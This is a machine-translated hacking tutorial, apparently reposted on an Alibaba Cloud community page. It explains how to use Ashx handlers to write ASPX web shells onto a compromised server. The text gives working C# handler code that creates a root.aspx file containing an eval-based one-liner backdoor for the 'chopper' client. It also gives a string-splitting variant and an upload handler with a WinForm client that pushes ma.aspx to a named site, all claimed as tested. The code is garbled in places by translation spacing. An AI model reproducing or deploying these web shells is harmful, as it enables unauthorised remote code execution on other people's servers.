Summary of methods for exposing hackers to write aspx Trojans using Ashx scripts

Source: Internet
Author: User

A site ,., so I plan to first upload an Ashx script and then generate the Aspx file in the current directory (the target cannot execute the Asp file). The following Ashx code is found on the Internet: <% @ WebHandler Language = "C #" Class = "Handler" %> using System; using System. web; using System. IO; public class Handler: IHttpHandler {public void ProcessRequest (HttpContext context) {context. response. contentType = "text/plain"; StreamWriter file1 = File. createText (context. server. mapPath ("roo T. aspx "); file1.Write (" <% @ Page Language = \ "Jscript \" %> <% eval (Request. item [\ "pass \"], \ "unsafe \"); %> "); file1.Flush (); file1.Close ();} public bool IsReusable {get {return false ;}} I changed Asp in the script to Aspx in the kitchen knife ~ However, an error occurred while executing the command, indicating the Unknown command @ Page. Use the following two methods: 1. Use String to connect to the String <% @ WebHandler Language = "C #" Class = "Handler" %> using System; using System. web; using System. IO; public class Handler: IHttpHandler {public void ProcessRequest (HttpContext context) {context. response. contentType = "text/plain"; string show = "<% @ Page Language = \" Jscript \ "%" + "> <% eval (Request. item "+" [\ "chopper \"] "+", \ "unsafe \"); %> "; StreamWriter file1 = File. createText (cont Ext. server. mapPath ("root. aspx "); file1.Write (show); file1.Flush (); file1.Close ();} public bool IsReusable {get {return false ;}} 2. stupid method. Check the Code <% @ WebHandler Language = "C #" Class = "Uploader" %> using System; using System. IO; using System. web; public class Uploader: IHttpHandler {public void ProcessRequest (HttpContext hc) {foreach (string fileKey in hc. request. files) {HttpPostedFile file = Hc. request. files [fileKey]; file. saveAs (Path. combine (hc. server. mapPath (". "), file. fileName) ;}} public bool IsReusable {get {return true ;}} then use VS to create a WinForm program ~ Write in the main function: System. Net. WebClient myWebClient = new System. Net. WebClient (); myWebClient. UploadFile (" http://www.xcnzz.com/Uploader.ashx "," POST "," C: \ ma. aspx "); execute ~ The above methods are all tested successfully ~ P.S: Thx from T00ls.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.